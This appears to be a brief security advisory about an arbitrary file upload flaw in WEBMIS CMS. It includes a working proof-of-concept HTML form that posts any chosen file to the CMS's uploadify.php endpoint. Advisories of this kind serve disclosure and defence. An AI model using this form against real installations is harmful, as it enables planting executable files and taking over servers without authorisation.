source: http://www.securityfocus.com/bid/68658/info

WEBMIS CMS is prone to a vulnerability that lets attackers upload arbitrary files.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

<form 
action="http://www.example.com/webmis_installation/plugin/uploadify/uploadify.php" 
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type=text name="path" value="/webmis_installation/plugin/">
<input type=text name="someKey" value="someValue"]>
<input type="submit" name="submit" value="Submit">
</form>
